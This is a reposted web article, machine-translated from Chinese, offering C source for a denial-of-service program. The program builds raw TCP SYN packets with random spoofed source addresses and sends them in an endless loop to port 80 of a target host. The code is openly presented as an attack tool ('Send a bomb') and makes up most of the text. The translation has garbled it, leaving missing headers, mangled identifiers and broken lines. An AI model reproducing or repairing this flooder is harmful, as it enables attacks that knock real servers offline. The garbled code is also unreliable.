C Source: An instance of a raw socket (http:www.fanqiang.com)

xiaoxiao2021-03-06  45

C source code: a raw socket instance This article comes from: Author: (2001-08-22 16:37:42)

Remember what DOS mean? Here we will write a small program that implements DOS. Below is the source code of the program / ****************** DOS .c ************************** / #include #include #include #include < Netinet / TCP.H> #include #include #include #include #include #define destport 80 / * To attack port (WEB) * / #define lOCALPORT 8888 void send_tcp (int sockfd, struct sockaddr_in * addr); unsigned short check_sum (unsigned short * addr, int len); int main (int argc, char ** argv) {int sockfd; Struct SockAddr_in addr; struct host * host; int = 1; if (argc! = 2) {fprintf (stderr, "usage:% s hostname / n / a", argv [0]); exit (1);} Bzero (& addr, sizeof (struct sockaddr_in); addr.sin_family = AF_INET; addr.sin_port = htons (destport); if (INET_ATON (Argv [1], & addr.sin_addr) == 0) {Host = gethostByname (Argv [Argv 1]); if (host == null) {fprintf (stderr, "hostname error:% s / n / a", hstrerror (h_errno)); exit (1);} addr.sin_addr = * (Struct in_addr *) (Host-> h_addr_list [0]);} / **** Using IPPR OTO_TCP Create a TCP's original socket **** / sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP); if (SockFD <0) {fprintf (stderr, "socket error:% s / n / a", stror ( Errno); EXIT (1);} / ******** Set IP packet format, tell the system kernel module IP packet by us to fill in *** / setsockopt (sockfd, ipproto_ip, ip_hdrincl, & on SIZEOF (ON)); / **** There is no way, only super protect users can use original socket ********* / setuid (getPid ()); / ***** **** Send a bomb !!!! **** / send_tcp (sockfd, & addr);} / ***************** / VOID Send_tcp (int C) Sockfd, struct sockaddr_in * addr) {char buffer [100]; / **** Used to place our packet **** / struct ip * ip; struct tcphdr * tcp; int head_len;

/ ******* Our packets do not have any content, so the length is the length of the two structures *** / Head_len = SizeOf (Struct TCPHDR); Bzero (Buffer, 100) ; / ******** Fill the head of the IP packet, remember the IP's head format? ****** / ip = (struct ip *) Buffer; ip-> ip_v = ipversion; / ** version is generally 4 ** / ip-> ip_hl = sizeof (struct ip) >> 2; / ** IP packet head length ** / ip-> ip_tos = 0; / ** Service type * * / Ip-> ip_len = htons (head_len); / ** IP packet length ** / ip-> ip_id = 0; / ** Let the system fill in ** / ip-> ip_off = 0; / * *, The same, the saving time ** / ip-> ip_ttl = maxttl; / ** longest time 255 ** / ip-> ip_p = ipproto_tcp; / ** We have to send TCP package ** / IP -> ip_sum = 0; / ** Check and let the system do ** / ip-> ip_dst = addr-> sin_addr; / ** We attack the object ** / / ****** Start to fill in the TCP Packet ***** / TCP = (struct tcphdr *); tcp-> source = htons (localport); tcp-> dest = addr-> sin_port; / ** destination port ** / TCP-> SEQ = random (); TCP-> ACK_SEQ = 0; TCP-> DOFF = 5; TCP-> SYN = 1; / ** I want to establish a connection ** / tcp-> check = 0; / ** is good, everything is ready. Server, you are ready ?? ^ _ ^ ** / while (1) {/ ** You don't know if I am from there, slowly go, etc. Let's! ** / ip-> ip_src.s_addr = random (); / ** Everything makes the system, and doesn't mean, let us check the head. * / / ** Can have no * / tcp-> check = check_sum Unsigned short *) TCP, SIZEOF (STRUCT TCPHDR)); Sendto (Sockfd, Buffer, Head_len, 0, Addr, SIZEOF (Struct Sizeaddr_in));}} / * The following is the first checksum, stealing others * / Unsigned short check_sum (unsigned short * addr, int LEN) {register int NLEFT = LEN; register int sum = 0; register short * w = addr; short answer = 0; while (NLEFT> 1) {SUM = * W ; NLEFT- = 2;} if (NLEFT == 1) {* (unsigned char *) = * (unsigned char *) W; SUM = Answer;} Sum = (SUM >> 16) (SUM & 0xFFFF); SUM = (SUM >> 16); Answer = ~ SUM;

转载请注明原文地址:https://www.9cbs.com/read-54659.html

New Post(0)